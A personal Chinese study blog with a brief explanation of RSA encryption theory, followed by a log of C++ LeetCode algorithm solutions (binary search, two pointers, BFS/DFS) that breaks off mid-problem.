Shuwen's blog

生活 & 学习

0%

发表于

久闻大名，ctf的密码学题目，easyRSA

因为实验里面需要加密解密，就看了下这个使用最为广泛的非对称加密算法。

加密的宏观上：为了能让Bob安全的给Alice发送消息。

首先Alice生成公钥和私钥（对应锁和钥匙），然后Alice将锁给Bob，那么Bob用锁给信息加密后，将加密后的东西还给Alice，Alice用钥匙解密即可拿到Bob的信息。但是其他人虽然能看到锁，但是无法解密，因为没有钥匙。

image-20210910190119327

原理

模运算是单向运算

有e容易求c，但是有c难求e

image-20210910190422813

加密解密过程：e和N是给大家都能看到，但是d是Alice持有的钥匙，只有Alice能计算的

image-20210910190457576

mod的模数e和余数c是互质的，所以上面吧m^e带入下面的c得到下面公式

image-20210910191513110

欧拉函数

定理

image-20210910190649163

所以建立式子

image-20210910190538216

image-20210910191715034

image-20210910191737898

所以，取两个质数，p*q=n

其他人来说：已知n，但φ(n)难以求解

拥有私钥p、q的人来说：p和q因为是质数很好求容易求得

1
φ(n)=φ(p)*φ(q)=(p-1)*(q-1)

就可以求得d，成功解出答案

发表于 更新于 分类于

链接：https://leetcode-cn.com/study-plan/algorithms/?progress=x7xottv

算法入门

image-20210825235602576

2021/08/25，已完成，（´v｀），为什么感觉我更喜欢算法（而不是ctf，😔，算法好好练练，以后再重新学学网安吧。

第 1 天 二分查找

704. 二分查找

easy

1
2
3
4
5
6
7
8
9
10
11
12
13
class Solution {
public:
    int search(vector<int>& nums, int target) {
        int pivot,left=0,right=nums.size();//设置3个变量：当前指针、左边界、右边界
        while(left <= right){//结束
            pivot = left + (right-left) / 2;//指针在中间的位置
            if(nums[pivot] == target) return pivot;//相等返回
            if(target < nums[pivot]) right = pivot-1;//小于情况
            else left = pivot + 1;//大于情况
        }
        return -1;//直接返回
    }
};

278. 第一个错误的版本

mine

1
2
3
4
5
6
7
8
9
10
11
12
13
class Solution {
public:
    int firstBadVersion(int n) {
        int pivot,left=1,right=n;
        while(left <= right){
            pivot = left + (right-left) / 2;
            if(isBadVersion(pivot)==true && isBadVersion(pivot-1)==false) return pivot;
            else if(isBadVersion(pivot)==true) right = pivot-1;
            else if(isBadVersion(pivot)==false) left = pivot + 1;
        }
        return 1;
    }
};

answer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// The API isBadVersion is defined for you.
// bool isBadVersion(int version);

class Solution {
public:
    int firstBadVersion(int n) {
        int left = 1,right=n;
        while(left < right){
            int mid = left + (right - left) / 2;
            if(isBadVersion(mid)){
                right = mid;
            }else{
                left = mid+1;
            }
        }
        return left;
    }
};

35. 搜索插入位置

mine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class Solution {
public:
    int searchInsert(vector<int>& nums, int target) {
        int pivot,left=0,right=nums.size()-1;
        while(left < right){
            pivot = left + (right - left) / 2;
            if(target == nums[pivot]) return pivot;
            else if(target > nums[pivot]) left = pivot+1;
            else if(target <nums[pivot]) right = pivot-1;
        }
        if(target > nums[left]){
            return left+1;
        }else{
            return left;
        }
    }
};

answer

  1. 转换目标：「在一个有序数组中找第一个大于等于 target 的下标」。
  2. ans初值设置为数组长度：存在一种情况是 target 大于数组中的所有数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class Solution {
public:
    int searchInsert(vector<int>& nums, int target) {
        int n = nums.size();
        int left = 0,right = n-1,ans = n;
        while(left <= right){
            int mid = ((right-left) >> 1) + left;
            if(target <= nums[mid]){
                ans = mid;
                right = mid-1;
            }else{
                left = mid+1;
            }
        }
        return ans;
    }
};

第 2 天 双指针

977. 有序数组的平方

mine

直接排序

时间复杂度：O(nlog⁡n)

1
2
3
4
5
6
7
8
9
10
class Solution {
public:
    vector<int> sortedSquares(vector<int>& nums) {
        for(int i=0;i<nums.size();i++){
            nums[i] = nums[i] * nums[i];
        }
        sort(nums.begin(),nums.end());
        return nums;
    }
};

双指针

由于原数组已经有序，故可以使用两个指针从0开始一个向左，一个向右，分别比较大小

时间复杂度：O(n)

  1. 从0向左右

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    class Solution {
    public:
        vector<int> sortedSquares(vector<int>& nums) {
            int n = nums.size();
            int negative = -1;
            for(int i=0;i<n;++i){
                if(nums[i] < 0){
                    negative = i;//negative是最右的负数
                }else{
                    break;
                }
            }
            vector<int> ans;
            int i = negative,j=negative+1;
            while(i>=0 || j<n){
                if(i<0){//左边的走完了，一直走右指针即可
                    ans.push_back(nums[j] * nums[j]);
                    ++j;
                }else if(j == n){
                    ans.push_back(nums[i] * nums[i]);
                    --i;
                }else if(nums[i] * nums[i] < nums[j] * nums[j]){
                    ans.push_back(nums[i] * nums[i]);
                    --i;
                }else {
                    ans.push_back(nums[j] * nums[j]);
                    ++j;
                }
            }
            return ans;
        }
    };

  2. 从左右向0走

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    class Solution {
    public:
        vector<int> sortedSquares(vector<int>& nums) {
            int n = nums.size();
            vector<int> ans(n);
            for(int i=0,j=n-1,pos=n-1;i<=j;){
                if(nums[i] * nums[i] > nums[j] * nums[j]){
                    ans[pos] = nums[i] * nums[i];
                    ++i;
                }else{
                    ans[pos] = nums[j] * nums[j];
                    --j;
                }
                --pos;
            }
            return ans;
        }
    };

189. 旋转数组

answer1

由于直接放，会覆盖，所以增加一个额外数组

1
2
3
4
5
6
7
8
9
10
11
class Solution {
public:
    void rotate(vector<int>& nums, int k) {
        int n = nums.size();
        vector<int> newArr(n);
        for(int i=0;i<n;i++){
            newArr[(i+k)%n] = nums[i];//i表示第几个，+k表示右移，由于可能溢出，故取%
        }
        nums.assign(newArr.begin(),newArr.end());
    }
};

answer2

数组翻转

原始数组
翻转所有元素
翻转[0,k mod n−1] 区间的元素
翻转[k mod n,n−1] 区间的元素

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class Solution {
public:
    void reverse(vector<int>& nums,int start,int end){
        while(start < end){
            swap(nums[start],nums[end]);
            start++;
            end--;
        }
    }
    void rotate(vector<int>& nums, int k) {
        k%=nums.size();
        reverse(nums,0,nums.size()-1);
        reverse(nums,0,k-1);
        reverse(nums,k,nums.size()-1);
    }
};

answer3

image-20210730160407116

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class Solution {
public:
    void rotate(vector<int>& nums, int k) {
        int n = nums.size();
        k = k%n;
        int count = gcd(k,n);
        for(int start =0;start<count;++start){//往后走
            int current = start;
            int prev = nums[start];
            do{//里面是一轮
                int next = (current+k) %n;
                swap(nums[next],prev);
                current = next;
            }while(start!=current);
        }
    }
};

第 3 天 双指针

283. 移动零

right指向右边的非0，left指向左边的0。

1
2
3
4
5
6
7
8
9
10
11
12
13
class Solution {
public:
    void moveZeroes(vector<int>& nums) {
        int n = nums.size(),left=0,right=0;
        while(right < n){
            if(nums[right]){
                swap(nums[left],nums[right]);
                left++;
            }
            right++;
        }
    }
};

167. 两数之和 II - 输入有序数组

二分查找，其中i的下标是第一个元素，mid下标是第二个元素

i从0 ～ size-1

第二个元素从low～high，也就是1～size-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class Solution {
public:
    vector<int> twoSum(vector<int>& numbers, int target) {
        for(int i=0;i<numbers.size();i++){
            int low = i+1,high = numbers.size()-1;
            while(low <= high){
                int mid = low + (high - low)/2;
                if(numbers[mid] == target - numbers[i]){
                    return {i+1,mid+1};
                }else if(numbers[mid] > target - numbers[i]){
                    high = mid-1;
                }else{
                    low = mid+1;
                }
            }
        }
        return {-1,-1};
    }
};

双指针

从两边依次往里走

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class Solution {
public:
    vector<int> twoSum(vector<int>& numbers, int target) {
        int low = 0,high = numbers.size()-1;
        while(low < high){
            int sum = numbers[low] + numbers[high];
            if(sum == target){
                return {low+1,high+1};
            }else if(sum < target){
                ++low;
            }else{
                --high;
            }
        }
        return {-1,-1};
    }
};

第 4 天 双指针

344. 反转字符串

mine

1
2
3
4
5
6
7
8
9
10
class Solution {
public:
    void reverseString(vector<char>& s) {
        int n = s.size();
        int times = n / 2;
        for(int i = 0; i < times; i++){
            swap(s[i], s[n-i-1]);
        }
    }
};

answer

我写的和答案，本质是一样的，但是思考过程不一样。

我其实没有用到双指针这一思想，而是直接左边过去的思路。

1
2
3
4
5
6
7
8
9
class Solution {
public:
    void reverseString(vector<char>& s) {
        int n = s.size();
        for(int left = 0,right = n-1;left < right;++left,--right){
            swap(s[left],s[right]);
        }
    }
};

557. 反转字符串中的单词 III

split

C++没有字符串分割函数split，自己实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
vector<string> split(const string& str, const string& delim) {  
    vector<string> res;  
    if("" == str) return res;  
    //先将要切割的字符串从string类型转换为char*类型  
    char * strs = new char[str.length() + 1] ; //不要忘了  
    strcpy(strs, str.c_str());   

    char * d = new char[delim.length() + 1];  
    strcpy(d, delim.c_str());  

    char *p = strtok(strs, d);  
    while(p) {  
        string s = p; //分割得到的字符串转换为string类型  
        res.push_back(s); //存入结果数组  
        p = strtok(NULL, d);  
    }  
    return res;  
}

使用

1
split(s," ");

mine

image-20210802213123802

虽然效率好像不是很高，不过也算是自己实现的，，，hhh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
class Solution {
public:
    string reverseWords(string s) {
        vector<string> v = split(s," ");
        string ans="";
        for(int i=0;i<v.size()-1;i++){
            ans += reverse(v[i])+" ";
        }
        ans += reverse(v[v.size()-1]);
        return ans;
    }
    string reverse(string s){
        for(int i=0;i<s.size()/2;i++){
            swap(s[i],s[s.size()-i-1]);
        }
        return s;
    }
    vector<string> split(const string& str, const string& delim) {  
        vector<string> res;  
        if("" == str) return res;  
        //先将要切割的字符串从string类型转换为char*类型  
        char * strs = new char[str.length() + 1] ; //不要忘了  
        strcpy(strs, str.c_str());   
    
        char * d = new char[delim.length() + 1];  
        strcpy(d, delim.c_str());  
    
        char *p = strtok(strs, d);  
        while(p) {  
            string s = p; //分割得到的字符串转换为string类型  
            res.push_back(s); //存入结果数组  
            p = strtok(NULL, d);  
        }  
        return res;  
    } 
};

answer1

不使用split，巧妙使用while解决

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class Solution {
public:
    string reverseWords(string s) {
        string ret;
        int length = s.length();
        int i=0;
        while(i < length){
            int start = i;
            while(i < length && s[i] != ' '){//start是一个单词的开始，i找到该单词的结尾
                i++;
            }
            for(int p = start;p<i;p++){
                ret.push_back(s[start + i - 1 -p]);//从该单词结尾往前加到ret字符串上面
            }
            while(i < length && s[i] == ' '){
                i++;//下一个开始也要跳过空格
                ret.push_back(' ');//加上空格
            }
        }
        return ret;
    }
};

answer2

相当于我的思路同answer1的结合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Solution {
public:
    string reverseWords(string s) {
        int length = s.length();
        int i=0;
        while(i < length){
            int start = i;
            while(i<length && s[i] != ' '){
                i++;
            }
            int left = start,right = i-1;
            while(left < right){
                swap(s[left],s[right]);
                left++;
                right--;
            }
            while(i < length && s[i] == ' '){
                i++;
            }
        }
        return s;
    }
};

第 5 天 双指针

876. 链表的中间结点

wowo，太强了，hhh，第一次100%，自己写的

image-20210802222127027

mine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/**
 * Definition for singly-linked list.
 * struct ListNode {
 *     int val;
 *     ListNode *next;
 *     ListNode() : val(0), next(nullptr) {}
 *     ListNode(int x) : val(x), next(nullptr) {}
 *     ListNode(int x, ListNode *next) : val(x), next(next) {}
 * };
 */
class Solution {
public:
    ListNode* middleNode(ListNode* head) {
        ListNode* l = head;
        int length=1;
        while(head->next!=nullptr){
            length++;
            head = head->next;
        }
        int times = length / 2 + 1;
        
        for(int i=1;i<times;i++){
            l = l->next;
        }
        return l;
    }
};

answer1

将链表放入数组中，取下标中值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/**
 * Definition for singly-linked list.
 * struct ListNode {
 *     int val;
 *     ListNode *next;
 *     ListNode() : val(0), next(nullptr) {}
 *     ListNode(int x) : val(x), next(nullptr) {}
 *     ListNode(int x, ListNode *next) : val(x), next(next) {}
 * };
 */
class Solution {
public:
    ListNode* middleNode(ListNode* head) {
        vector<ListNode*> A={head};
        while(A.back()->next!=NULL){
            A.push_back(A.back()->next);
        }
        return A[A.size()/2];//因为反着压，所以不用+1
    }
};

answer2

跟我写的一样，称为单指针法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/**
 * Definition for singly-linked list.
 * struct ListNode {
 *     int val;
 *     ListNode *next;
 *     ListNode() : val(0), next(nullptr) {}
 *     ListNode(int x) : val(x), next(nullptr) {}
 *     ListNode(int x, ListNode *next) : val(x), next(next) {}
 * };
 */
class Solution {
public:
    ListNode* middleNode(ListNode* head) {
        int n=0;
        ListNode* cur = head;
        while(cur != nullptr){
            ++n;
            cur = cur->next;
        }
        int k=0;
        cur = head;
        while(k<n/2){
            ++k;
            cur = cur->next;
        }
        return cur;
    }
};

answer3

快慢指针，太强了

快指针走到最后，慢指针刚好在中间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/**
 * Definition for singly-linked list.
 * struct ListNode {
 *     int val;
 *     ListNode *next;
 *     ListNode() : val(0), next(nullptr) {}
 *     ListNode(int x) : val(x), next(nullptr) {}
 *     ListNode(int x, ListNode *next) : val(x), next(next) {}
 * };
 */
class Solution {
public:
    ListNode* middleNode(ListNode* head) {
        ListNode* slow = head;
        ListNode* fast = head;
        while(fast!= NULL && fast->next!=NULL){
            slow = slow->next;
            fast = fast->next->next;
        }
        return slow;
    }
};

19. 删除链表的倒数第 N 个结点

answer1

按着题目思路一步步解的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/**
 * Definition for singly-linked list.
 * struct ListNode {
 *     int val;
 *     ListNode *next;
 *     ListNode() : val(0), next(nullptr) {}
 *     ListNode(int x) : val(x), next(nullptr) {}
 *     ListNode(int x, ListNode *next) : val(x), next(next) {}
 * };
 */
class Solution {
public:
    int getLength(ListNode* head){
        int length = 0;
        while(head){
            ++length;
            head = head->next;
        }
        return length;
    }

    ListNode* removeNthFromEnd(ListNode* head, int n) {
        ListNode* dummy = new ListNode(0,head);
        int length = getLength(head);//head已经走到尾巴了
        ListNode*cur = dummy;
        for(int i=1;i<length-n+1;i++){//第一个是多加的0
            cur = cur->next;
        }
        cur->next = cur->next->next;
        ListNode* ans = dummy->next;
        return ans;
    }
};

answer2

这种给右边的长度，可以用栈解决

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/**
 * Definition for singly-linked list.
 * struct ListNode {
 *     int val;
 *     ListNode *next;
 *     ListNode() : val(0), next(nullptr) {}
 *     ListNode(int x) : val(x), next(nullptr) {}
 *     ListNode(int x, ListNode *next) : val(x), next(next) {}
 * };
 */
class Solution {
public:
    ListNode* removeNthFromEnd(ListNode* head, int n) {
        ListNode* dummy = new ListNode(0,head);//head副本，前面多了一个节点0
        stack<ListNode*> stk;
        ListNode*cur = dummy;
        while(cur){
            stk.push(cur);
            cur = cur->next;
        }
        for(int i=0;i<n;i++){
            stk.pop();
        }
        ListNode* prev = stk.top();//取出要删除的前一节点，
        prev->next = prev->next->next;//删除
        ListNode* ans = dummy->next;//返回删除后的链表（所有操作都是对同一个链表）;
        delete dummy;
        return ans;
    }
};

answer3

快慢指针，i了i了。

通过两个指针，一个先走，另一个再走，成功把后面的长度转换到了前面。

让second直接找到目标，太强了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/**
 * Definition for singly-linked list.
 * struct ListNode {
 *     int val;
 *     ListNode *next;
 *     ListNode() : val(0), next(nullptr) {}
 *     ListNode(int x) : val(x), next(nullptr) {}
 *     ListNode(int x, ListNode *next) : val(x), next(next) {}
 * };
 */
class Solution {
public:
    ListNode* removeNthFromEnd(ListNode* head, int n) {
        ListNode* dummy = new ListNode(0,head);
        ListNode* first = head;
        ListNode* second = dummy;
        for(int i=0;i<n;i++){
            first = first->next;//first先走那几步
        }
        while(first){//first走到尾，second刚好到达目标地点
            first=first->next;
            second=second->next;
        }
        second->next = second->next->next;
        ListNode* ans = dummy->next;
        delete dummy;
        return ans;
    }
};

第 6 天 滑动窗口

3. 无重复字符的最长子串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class Solution {
public:
    int lengthOfLongestSubstring(string s) {
        unordered_set<char> occ;
        int rk=-1,ans=0;
        int n = s.size();
        for(int i=0;i<n;i++){
            if(i!=0){
                occ.erase(s[i-1]);
            }
            while(rk+1<n && !occ.count(s[rk+1])){
                occ.insert(s[rk+1]);
                rk++;
            }
            ans = max(ans,rk-i+1);
        }
        return ans;
    }
};

567. 字符串的排列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class Solution {
public:
    bool checkInclusion(string s1, string s2) {
        int n = s1.length(),m=s2.length();
        if(n > m){
            return false;
        }
        vector<int> cnt1(26),cnt2(26);
        for(int i=0;i<n;i++){
            ++cnt1[s1[i]-'a'];
            ++cnt2[s2[i]-'a'];
        }
        if(cnt1 == cnt2){
            return true;
        }
        for(int i=n;i<m;i++){
            ++cnt2[s2[i]-'a'];//滑动窗口，长度为子串长度n
            --cnt2[s2[i - n]-'a'];//右边+1，左边-1
            if(cnt1==cnt2){
                return true;
            }
        }
        return false;
    }
};

第 7 天 广度优先搜索 / 深度优先搜索

733. 图像渲染

深度优先。

题目的意思类似于画图里面的油漆，hhh。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Solution {
public:
    const int dx[4]={1,0,0,-1};
    const int dy[4]={0,1,-1,0};
    void dfs(vector<vector<int>>& image,int x,int y,int color,int newColor){
        if(image[x][y] == color){
            image[x][y] = newColor;
            for(int i=0;i<4;i++){
                int mx = x+dx[i],my=y+dy[i];
                if(mx>=0&&mx<image.size() && my>=0&&my<image[0].size()){
                    dfs(image,mx,my,color,newColor);
                }
            }
        }
    }
    vector<vector<int>> floodFill(vector<vector<int>>& image, int sr, int sc, int newColor) {
        int currColor = image[sr][sc];
        if(currColor != newColor){
            dfs(image,sr,sc,currColor,newColor);
        }
        return image;
    }
};

广度优先，加入队列实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class Solution {
public:
    const int dx[4]={1,0,0,-1};
    const int dy[4]={0,1,-1,0};
    vector<vector<int>> floodFill(vector<vector<int>>& image, int sr, int sc, int newColor) {
        int currColor = image[sr][sc];
        if(currColor == newColor) return image;
        int n = image.size(),m=image[0].size();
        queue<pair<int,int>> que;
        que.emplace(sr,sc);
        image[sr][sc]=newColor;
        while(!que.empty()){
            int x = que.front().first,y=que.front().second;
            que.pop();
            for(int i=0;i<4;i++){
                int mx = x+dx[i],my=y+dy[i];
                if(mx>=0&&mx<n && my>=0&&my<m&&image[mx][my]==currColor){
                    que.emplace(mx,my);
                    image[mx][my]=newColor;
                }
            }
        }
        return image;
    }
};

695. 岛屿的最大面积

深度优先，多了一个刚开始要循环所有（起点遍历）

是图的遍历

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class Solution {
public:
    const int dx[4]={1,0,0,-1};
    const int dy[4]={0,1,-1,0};
    int dfs(vector<vector<int>>& grid,int x,int y){
        if(x<0 || y<0 || x == grid.size() || y==grid[0].size()||grid[x][y]!=1){
            return 0;
        }
        grid[x][y]=0;
        int ans = 1;
        for(int i=0;i<4;i++){
            int mx = x+dx[i],my = y+dy[i];
            ans += dfs(grid,mx,my);
        }
        return ans;
    }
    int maxAreaOfIsland(vector<vector<int>>& grid) {
        int ans =0;
        for(int i=0;i<grid.size();i++){
            for(int j=0;j<grid[0].size();j++){
                ans = max(ans,dfs(grid,i,j));
            }
        }
        return ans;
    }
};

使用栈，非递归

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
class Solution {
public:
    int maxAreaOfIsland(vector<vector<int>>& grid) {
        int ans =0;
        for(int i=0;i<grid.size();i++){
            for(int j=0;j<grid[0].size();j++){
                int cur = 0;
                stack<int> stacki;
                stack<int> stackj;
                stacki.push(i);
                stackj.push(j);
                while(!stacki.empty()){
                    int x = stacki.top(),y=stackj.top();
                    stacki.pop();
                    stackj.pop();
                    if(x<0||y<0||x==grid.size()||y==grid[0].size()||grid[x][y]!=1){
                        continue;
                    }
                    ++cur;
                    grid[x][y]=0;
                    int dx[4]={1,0,0,-1};
                    int dy[4]={0,1,-1,0};
                    for(int i=0;i<4;i++){
                        int mx = x+dx[i],my=y+dy[i];
                        stacki.push(mx);
                        stackj.push(my);
                    }
                }
                ans=max(ans,cur);
            }
        }
         return ans;
    }
};

广度优先

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
class Solution {
public:
    const int dx[4]={1,0,0,-1};
    const int dy[4]={0,1,-1,0};
    int maxAreaOfIsland(vector<vector<int>>& grid) {
        int ans=0;
        for(int i = 0; i < grid.size() ; i++){
            for(int j = 0; j < grid[0].size(); j++){
                int cur = 0;
                queue<pair<int ,int>> que;
                    que.emplace(i,j);
                    while(!que.empty()){
                        int x = que.front().first,y = que.front().second;
                        que.pop();
                        if(x < 0 || y < 0 || x == grid.size() || y==grid[0].size() || grid[x][y] != 1){
                            continue;
                        }
                        ++cur;
                        grid[x][y] = 0;
                        for(int k = 0; k < 4; k++){
                            int mx = x + dx[k], my = y+dy[k];
                                que.emplace(mx,my);
                        }
                    }
                    ans = max(ans,cur);
            }
        }
        return ans;
    }
};

总结

广度优先和深度优先，类似于模板题，多做些题，应该可以掌握。

第 8 天 广度优先搜索 / 深度优先搜索

617. 合并二叉树

深度优先

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/**
 * Definition for a binary tree node.
 * struct TreeNode {
 *     int val;
 *     TreeNode *left;
 *     TreeNode *right;
 *     TreeNode() : val(0), left(nullptr), right(nullptr) {}
 *     TreeNode(int x) : val(x), left(nullptr), right(nullptr) {}
 *     TreeNode(int x, TreeNode *left, TreeNode *right) : val(x), left(left), right(right) {}
 * };
 */
class Solution {
public:
    TreeNode* mergeTrees(TreeNode* t1, TreeNode* t2) {
        if(t1==nullptr) return t2;
        if(t2==nullptr) return t1;

        TreeNode* merged = new TreeNode(t1->val + t2->val);
        merged->left = mergeTrees(t1->left,t2->left);
        merged->right = mergeTrees(t1->right,t2->right);
        return merged;
    }
};

广度优先

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
/**
 * Definition for a binary tree node.
 * struct TreeNode {
 *     int val;
 *     TreeNode *left;
 *     TreeNode *right;
 *     TreeNode() : val(0), left(nullptr), right(nullptr) {}
 *     TreeNode(int x) : val(x), left(nullptr), right(nullptr) {}
 *     TreeNode(int x, TreeNode *left, TreeNode *right) : val(x), left(left), right(right) {}
 * };
 */
class Solution {
public:
    TreeNode* mergeTrees(TreeNode* t1, TreeNode* t2) {
        if(t1 == nullptr) return t2;
        if(t2 == nullptr) return t1;
        TreeNode* merged = new TreeNode(t1->val + t2->val);
        queue<TreeNode*> q,q1,q2;
        q.push(merged);
        q1.push(t1);
        q2.push(t2);
        while(!q1.empty() && !q2.empty()){
            TreeNode* node = q.front();//三句话合在一起要用auto，不然报错
            TreeNode* node1 = q1.front();
            TreeNode* node2=q2.front();
            q.pop();
            q1.pop();
            q2.pop();
            TreeNode* left1 = node1->left;
            TreeNode* left2 = node2->left;
            TreeNode* right1 = node1->right;
            TreeNode* right2 = node2->right;
            if(left1 != nullptr || left2!=nullptr){
                if(left1!=nullptr && left2!=nullptr){
                    auto left = new TreeNode(left1->val + left2->val);
                    node->left = left;
                    q.push(left);
                    q1.push(left1);
                    q2.push(left2);
                }else if(left1 !=nullptr){
                    node->left = left1;
                }else{
                    node->left = left2;
                }
            }
            if(right1 != nullptr || right2!=nullptr){
                if(right1!=nullptr && right2!=nullptr){
                    auto right = new TreeNode(right1->val + right2->val);
                    node->right = right;
                    q.push(right);
                    q1.push(right1);
                    q2.push(right2);
                }else if(right1 !=nullptr){
                    node->right = right1;
                }else{
                    node->right = right2;
                }
            }
        }
        return merged;
    }
};

116. 填充每个节点的下一个右侧节点指针

层次遍历

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
/*
// Definition for a Node.
class Node {
public:
    int val;
    Node* left;
    Node* right;
    Node* next;

    Node() : val(0), left(NULL), right(NULL), next(NULL) {}

    Node(int _val) : val(_val), left(NULL), right(NULL), next(NULL) {}

    Node(int _val, Node* _left, Node* _right, Node* _next)
        : val(_val), left(_left), right(_right), next(_next) {}
};
*/

class Solution {
public:
    Node* connect(Node* root) {
        if(root == nullptr) return root;

        queue<Node*> Q;
        Q.push(root);
        while(!Q.empty()){
            int size = Q.size();
            for(int i=0;i<size;i++){
                Node* node = Q.front();
                Q.pop();
                if(i<size-1){//一层的左边size-1个
                    node->next = Q.front();
                }
                if(node->left!=nullptr){
                    Q.push(node->left);
                }
                if(node->right!=nullptr){
                    Q.push(node->right);
                }
            }
        }
        return root;
    }
};

使用已建立的 next 指针，高级，根据具体题目分析可得

image-20210808100955721

image-20210808101008138

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/*
// Definition for a Node.
class Node {
public:
    int val;
    Node* left;
    Node* right;
    Node* next;

    Node() : val(0), left(NULL), right(NULL), next(NULL) {}

    Node(int _val) : val(_val), left(NULL), right(NULL), next(NULL) {}

    Node(int _val, Node* _left, Node* _right, Node* _next)
        : val(_val), left(_left), right(_right), next(_next) {}
};
*/

class Solution {
public:
    Node* connect(Node* root) {
        if(root == nullptr) return root;

        Node* leftmost = root;
        while(leftmost -> left !=nullptr){
            Node* head = leftmost;
            while(head != nullptr){
                head->left->next = head->right;//第一种
                if(head->next != nullptr){//第二种
                    head->right->next = head->next->left;
                }
                head = head->next;//指针右移
            }
            leftmost = leftmost->left;//下一层
        }
        return root;
    }
};

第 9 天 广度优先搜索 / 深度优先搜索

542. 01 矩阵

广度优先

多源最短路->找到所有的0，距离为0，广播一次，找到所有的元素距离为1，再次广播，距离为2->依此类推

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class Solution {
public:
    const int dirs[4][2]={{-1,0},{1,0},{0,-1},{0,1}};
    vector<vector<int>> updateMatrix(vector<vector<int>>& mat) {
        int m = mat.size(),n = mat[0].size();
        vector<vector<int>> dist(m,vector<int>(n));
        vector<vector<int>> seen(m,vector<int>(n));
        queue<pair<int,int>> q;

        //将所有的0添加进初始队列中
        for(int i=0;i<m;i++){
            for(int j=0;j<n;j++){
                if(mat[i][j]==0){
                    q.emplace(i,j);
                    seen[i][j]=1;
                }
            }
        }
        //广度优先
        while(!q.empty()){
            auto [x,y] = q.front();
            q.pop();
            for(int i=0;i<4;i++){
                int dx = x+dirs[i][0];
                int dy = y+dirs[i][1];
                if(dx>=0 && dx<m && dy>=0 && dy<n && !seen[dx][dy]){
                    dist[dx][dy] = dist[x][y]+1;
                    q.emplace(dx,dy);
                    seen[dx][dy] = 1;
                }
            }
        }
        return dist;
    }
};

动态规划

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
class Solution {
public:
    vector<vector<int>> updateMatrix(vector<vector<int>>& mat) {
        int m = mat.size(),n = mat[0].size();
        vector<vector<int>> dist(m,vector<int>(n,INT_MAX/2));//初始化距离为很大的数
        for(int i=0;i<m;i++){
            for(int j=0;j<n;j++){
                if(mat[i][j] == 0){
                    dist[i][j] = 0;
                }
            }
        }
        //左下到右下
        for(int i=0;i<m;i++){
            for(int j=0;j<n;j++){
                if(i-1>=0){
                    dist[i][j] = min(dist[i][j],dist[i-1][j]+1);//当前节点是左边和当前节点最小值
                }
                if(j-1>=0){
                    dist[i][j] = min(dist[i][j],dist[i][j-1]+1);//当前节点是上边和当前节点的最小值
                }
            }
        }
        //右上到左下
        for(int i=m-1;i>=0;i--){
            for(int j=n-1;j>=0;j--){
                if(i+1 < m){
                    dist[i][j] = min(dist[i][j],dist[i+1][j]+1);
                }
                if(j+1<n){
                    dist[i][j] = min(dist[i][j],dist[i][j+1]+1);
                }
            }
        }
        return dist;
    }
};

994. 腐烂的橘子

本质上就是多源广度优先的搜索过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
class Solution {
public:
    int cnt;
    int dis[10][10];
    int dx[4] = {0,1,0,-1};
